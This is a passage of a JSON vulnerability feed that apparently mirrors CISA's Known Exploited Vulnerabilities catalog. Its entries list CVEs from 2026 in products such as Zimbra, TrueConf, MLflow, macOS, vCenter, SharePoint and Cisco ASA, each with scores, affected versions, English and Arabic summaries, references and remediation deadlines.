Plug-in."},"refs":[["https://www.oracle.com/security-alerts/cpujan2026.html","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-21962","advisory"],["https://x.com/0xacb/status/2015473216844620280","ref"],["https://github.com/Ashwesker/Ashwesker-CVE-2026-21962/issues/1","ref"],["https://web.archive.org/web/20260129165916/https://github.com/Ashwesker/Ashwesker-CVE-2026-21962/issues/1","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21962","ref"]],"epss":0.7319,"kevAdded":"2026-08-24T00:00:00Z","kevDue":"2026-08-27T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"oracle-http-server-and-oracle-weblogic-server-proxy-plug-in"},{"id":"CVE-2026-73570","cvss":8.9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-08-21T00:00:00Z","product":"Synacor Zimbra Collaboration Suite (ZCS)","affected":[["0 – <10.1.20","10.1.20"]],"title":{"en":"Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Zimbra Collaboration Suite (ZCS)"},"summary":{"en":"Zimbra Collaboration Suite (ZCS) contains an OS command injection vulnerability which could allow an unauthenticated attacker to send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.","ar":"يحتوي Zimbra Collaboration Suite (ZCS) على ثغرة حقن أوامر نظام التشغيل والتي قد تسمح لمهاجم دون مصادقة بإرسال طلبات SMTP معدة خصيصًا قد تؤدي إلى تنفيذ أوامر نظام تشغيل عشوائية بصفتهم مستخدم Zimbra."},"refs":[["https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories","advisory"],["https://blog.zimbra.com/2026/07/patch-release-update-zimbra-10-1-20/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-73570","advisory"],["https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite/","advisory"],["https://wiki.zimbra.com/wiki/Security_Center","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570","ref"]],"epss":0.7166,"kevAdded":"2026-08-21T00:00:00Z","kevDue":"2026-08-24T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"synacor-zimbra-collaboration-suite"},{"id":"CVE-2026-72530","cvss":9,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-08-20T00:00:00Z","product":"TrueConf Server","affected":[[" – <5.3","5.3"],["5.3 – <5.3.9","5.3.9"],["5.4 – <5.4.9","5.4.9"],["5.5 – <5.5.5","5.5.5"]],"title":{"en":"TrueConf Server Code Injection Vulnerability","ar":"ثغرة حقن شيفرات في TrueConf Server"},"summary":{"en":"TrueConf Server contains a code injection vulnerability that could allow an unauthorized remote attacker with network access via port 4307/TCP to use a specially crafted script to break out of the isolated environment and execute arbitrary code on the host system.","ar":"يحتوي TrueConf Server على ثغرة حقن شيفرات والتي قد تسمح لمهاجم عن بُعد غير مصرح له ولديه إمكانية الوصول إلى الشبكة عبر المنفذ 4307/TCP باستخدام سكريبت مصمم خصيصاً للخروج من البيئة المعزولة وتنفيذ شيفرة عشوائية على النظام المضيف."},"refs":[["https://trueconf.com/blog/news/security-fixes-updates-and-advisories","advisory"],["https://ics-cert.kaspersky.com/advisories/2026/08/11/trueconf-server-breakout-from-isolated-environment/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-72530","advisory"],["https://securelist.com/tr/head-mare-targets-trueconf-server-with-phantomcore/120988/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-72530","ref"]],"epss":0.0169,"kevAdded":"2026-08-20T00:00:00Z","kevDue":"2026-09-03T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"trueconf-server"},{"id":"CVE-2026-72529","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-306","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-20T00:00:00Z","product":"TrueConf Server","affected":[[" – <5.3","5.3"],["5.3 – <5.3.9","5.3.9"],["5.4 – <5.4.9","5.4.9"],["5.5 – <5.5.5","5.5.5"]],"title":{"en":"TrueConf Server Missing Authentication for Critical Function Vulnerability","ar":"ثغرة غياب المصادقة لوظيفة حرجة في TrueConf Server"},"summary":{"en":"TrueConf Server contains a missing authentication for critical function vulnerability which could allow a remote unauthorized attacker with network access via port 4307/TCP to execute an arbitrary script.","ar":"يحتوي TrueConf Server على ثغرة غياب المصادقة لوظيفة حرجة والتي قد تسمح لمهاجم عن بُعد غير مصرح له ولديه إمكانية الوصول إلى الشبكة عبر المنفذ 4307/TCP بتنفيذ سكريبت عشوائي."},"refs":[["https://trueconf.com/blog/news/security-fixes-updates-and-advisories","advisory"],["https://ics-cert.kaspersky.com/advisories/2026/08/11/trueconf-server-missing-authentication-for-critical-function/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-72529","advisory"],["https://securelist.com/tr/head-mare-targets-trueconf-server-with-phantomcore/120988/","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-72529","ref"]],"epss":0.0146,"kevAdded":"2026-08-20T00:00:00Z","kevDue":"2026-08-23T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات البائع، مع ضمان الامتثال لإرشادات توجيهات الأمان للبناء على أساس المخاطر BOD 26-04 الصادرة عن وكالة CISA المتوفرة في الملاحظات، ومتطلبات فرز الأدلة الجنائية لـ CISA المتوفرة في الملاحظات. اتبع إرشادات BOD 26-04 المطبقة على خدمات السحابة أو توقف عن استخدام المنتج في حال تعذر تطبيق إجراءات التخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"trueconf-server"},{"id":"CVE-2026-64849","cvss":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","cwe":"CWE-918","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-19T00:00:00Z","product":"MLflow MLflow","affected":[],"title":{"en":"MLflow Server-Side Request Forgery Vulnerability","ar":"ثغرة تزوير الطلبات من جانب الخادم في MLflow"},"summary":{"en":"MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.","ar":"يحتوي MLflow على ثغرة تزوير الطلبات من جانب الخادم والتي يمكن أن تسمح للمهاجمين بالوصول إلى خدمات البيانات الوصفية الداخلية أو السحابية وتلقي رمز الاستجابة وحجم أو محتوى الاستجابة."},"refs":[["https://github.com/mlflow/mlflow/pull/24258","advisory"],["https://github.com/mlflow/mlflow/issues/24179","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-64849","advisory"],["https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j","ref"],["https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939","ref"],["https://github.com/mlflow/mlflow/releases/tag/v3.15.0","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849","ref"]],"epss":0.1002,"kevAdded":"2026-08-19T00:00:00Z","kevDue":"2026-09-02T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"mlflow"},{"id":"CVE-2026-65400","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-18T00:00:00Z","product":"Apple macOS","affected":[["0 – <14.8.9","14.8.9"],["0 – <15.7.9","15.7.9"],["0 – <26.6.1","26.6.1"],["0 – <26.7","26.7"],["0 – <27","27"]],"title":{"en":"Apple macOS Improper Authentication Vulnerability","ar":"ثغرة المصادقة غير السليمة في Apple macOS"},"summary":{"en":"Apple macOS contains an improper authentication vulnerability that could allow an attacker on the network to authenticate to Screen Sharing without valid credentials.","ar":"يحتوي Apple macOS على ثغرة مصادقة غير سليمة والتي قد تسمح للمهاجم الموجود على الشبكة بالمصادقة على مشاركة الشاشة (Screen Sharing) دون بيانات اعتماد صالحة."},"refs":[["https://support.apple.com/en-us/148170","advisory"],["https://support.apple.com/en-us/148171","advisory"],["https://support.apple.com/en-us/148172","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-65400","advisory"],["https://advisories.ncsc.nl/2026/ncsc-2026-0280.html","advisory"],["https://support.apple.com/en-us/149035","ref"],["https://support.apple.com/en-us/149042","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-65400","ref"]],"epss":0.0172,"kevAdded":"2026-08-18T00:00:00Z","kevDue":"2026-08-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"apple-macos"},{"id":"CVE-2026-59310","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-18T00:00:00Z","product":"Broadcom VMware vCenter","affected":[["9.1.x.x – <9.1.0.0300","9.1.0.0300"],["9.0.x.x – <9.0.2.0100","9.0.2.0100"]],"title":{"en":"Broadcom VMware vCenter Path Traversal Vulnerability","ar":"ثغرة تجاوز المسار في Broadcom VMware vCenter"},"summary":{"en":"Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code.","ar":"يحتوي Broadcom VMware vCenter على ثغرة تجاوز المسار والتي قد تسمح لجهة تهديد تتمتع بإمكانية الوصول إلى الشبكة الخاصة بـ vCenter بتنفيذ شيفرة عشوائية."},"refs":[["https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-59310","advisory"],["https://medium.com/@quirso_de/global-exploitation-of-cve-2026-59310-by-suspected-chinese-nexus-apt-related-cve-2026-59309-443a79e1466d","advisory"],["https://medium.com/@quirso_de/active-exploitation-of-cve-2026-59310-361-victim-ips-across-47-countries-9783187cc6ff","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-59310","ref"]],"epss":0.0257,"kevAdded":"2026-08-18T00:00:00Z","kevDue":"2026-08-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"broadcom-vmware-vcenter"},{"id":"CVE-2026-55040","cvss":9.1,"vector":null,"cwe":"CWE-1390","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-18T00:00:00Z","product":"Microsoft SharePoint","affected":[["16.0.0 – <16.0.5561.1001","16.0.5561.1001"],["16.0.0 – <16.0.10417.20175","16.0.10417.20175"],["16.0.0 – <16.0.19725.20434","16.0.19725.20434"]],"title":{"en":"Microsoft SharePoint Weak Authentication Vulnerability","ar":"ثغرة المصادقة الضعيفة في Microsoft SharePoint"},"summary":{"en":"Microsoft SharePoint contains a weak authentication vulnerability which allows an unauthorized attacker to bypass a security feature over a network.","ar":"يحتوي Microsoft SharePoint على ثغرة مصادقة ضعيفة تسمح لمهاجم غير مصرح له بتجاوز ميزة أمان عبر الشبكة."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-55040","advisory"],["https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/","ref"],["https://github.com/sfewer-r7/CVE-2026-55040","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-55040","ref"]],"epss":0.6954,"kevAdded":"2026-08-18T00:00:00Z","kevDue":"2026-08-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-sharepoint"},{"id":"CVE-2026-33824","cvss":9.8,"vector":null,"cwe":"CWE-415","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-08-18T00:00:00Z","product":"Microsoft Internet Key Exchange (IKE) Service Extensions","affected":[["10.0.14393.0 – <10.0.14393.9060","10.0.14393.9060"],["10.0.17763.0 – <10.0.17763.8644","10.0.17763.8644"],["10.0.19044.0 – <10.0.19044.7184","10.0.19044.7184"],["10.0.19045.0 – <10.0.19045.7184","10.0.19045.7184"],["10.0.22631.0 – <10.0.22631.6936","10.0.22631.6936"],["10.0.26100.0 – <10.0.26100.8246","10.0.26100.8246"],["10.0.26200.0 – <10.0.26200.8246","10.0.26200.8246"],["10.0.28000.0 – <10.0.28000.1836","10.0.28000.1836"],["10.0.20348.0 – <10.0.20348.5020","10.0.20348.5020"],["10.0.25398.0 – <10.0.25398.2274","10.0.25398.2274"],["10.0.26100.0 – <10.0.26100.32690","10.0.26100.32690"]],"title":{"en":"Microsoft Internet Key Exchange (IKE) Service Extensions Double Free Vulnerability","ar":"ثغرة التحرير المزدوج للذاكرة في امتدادات خدمة تبادل المفاتيح عبر الإنترنت (IKE) من Microsoft"},"summary":{"en":"Microsoft Internet Key Exchange (IKE) Service Extensions contains a double free vulnerability that could enable remote code execution.","ar":"تحتوي امتدادات خدمة تبادل المفاتيح عبر الإنترنت (IKE) من Microsoft على ثغرة تحرير مزدوج للذاكرة قد تمكن من تنفيذ أوامر عن بُعد."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33824","patch"],["https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-33824","advisory"],["https://unit42.paloaltonetworks.com/autonomous-ai-cyber-attack-campaign/","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33824","ref"]],"epss":0.7705,"kevAdded":"2026-08-18T00:00:00Z","kevDue":"2026-08-21T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-internet-key-exchange-ike-service-extensions"},{"id":"CVE-2025-62593","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-17T00:00:00Z","product":"Ray-Project Ray","affected":[],"title":{"en":"Ray-Project Ray Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات في Ray-Project Ray"},"summary":{"en":"Ray-Project Ray contains a code injection vulnerability that could allow remote code execution. Developers using Ray as a development tool may be exposed to this vulnerability exploitable through Firefox and Safari.","ar":"يحتوي Ray-Project Ray على ثغرة حقن شيفرات قد تسمح بتنفيذ أوامر عن بُعد. قد يكون المطورون الذين يستخدمون Ray كأداة تطوير عرضة لهذه الثغرة القابلة للاستغلال من خلال Firefox وSafari."},"refs":[["https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v","advisory"],["https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2025-62593","advisory"],["https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-62593","ref"]],"epss":0.6015,"kevAdded":"2026-08-17T00:00:00Z","kevDue":"2026-08-20T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"ray-project-ray"},{"id":"CVE-2026-20349","cvss":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H","cwe":"CWE-244","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-11T17:06:03Z","product":"Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat De…","affected":[["9.16.1",null],["9.16.1.28",null],["9.16.2",null],["9.16.2.3",null],["9.16.2.7",null],["9.16.2.11",null],["9.16.2.13",null],["9.16.2.14",null],["9.16.3.3",null],["9.16.3",null],["9.16.3.14",null],["9.18.1",null]],"title":{"en":"Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) Heap Inspection Vulnerability","ar":"ثغرة فحص الذاكرة الديناميكية (Heap) في أجهزة Cisco Secure Firewall Adaptive Security Appliance (ASA) و Secure Firewall Threat Defense (FTD)"},"summary":{"en":"Cisco Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) contain a heap inspection vulnerability that could allow an unauthenticated, remote attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition.","ar":"تحتوي أجهزة Cisco Secure Firewall Adaptive Security Appliance (ASA) و Secure Firewall Threat Defense (FTD) على ثغرة فحص الذاكرة الديناميكية (Heap) والتي يمكن أن تسمح لمهاجم عن بُعد دون مصادقة بالتسبب في إعادة تشغيل الجهاز بشكل غير متوقع، مما يؤدي إلى حالة حجب الخدمة (DoS)."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-vpn-dos-dzv4mQFF","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20349","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20349","ref"]],"epss":0.0101,"kevAdded":"2026-08-11T00:00:00Z","kevDue":"2026-08-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات 